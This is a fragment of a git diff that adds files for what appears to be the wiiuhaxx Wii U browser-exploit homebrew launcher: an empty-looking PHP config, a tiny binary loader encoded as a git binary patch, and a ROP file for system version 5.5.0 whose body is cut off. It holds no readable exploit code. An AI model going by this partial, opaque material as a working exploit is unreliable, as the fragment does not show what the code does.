0000000..06b7353 --- /dev/null +++ b/www/homebrew_launcher/wiiuhaxx_common_cfg.php @@ -0,0 +1,6 @@ + \ No newline at end of file diff --git a/www/homebrew_launcher/wiiuhaxx_loader.bin b/www/homebrew_launcher/wiiuhaxx_loader.bin new file mode 100644 index 0000000000000000000000000000000000000000..ac141af5a8ce9d9c450a8b9ed751bcca2321bf32 GIT binary patch literal 76 zcmeZZU|_AuU|MF;z~E8SA|=wWgn_}Lg@L7h@#_kU0}M diff --git a/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php b/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php new file mode 100644 index 0000000..30ca5c7 --- /dev/null +++ b/www/homebrew_launcher/wiiuhaxx_rop_sysver_550.php @@ -0,0 +1,29 @@ +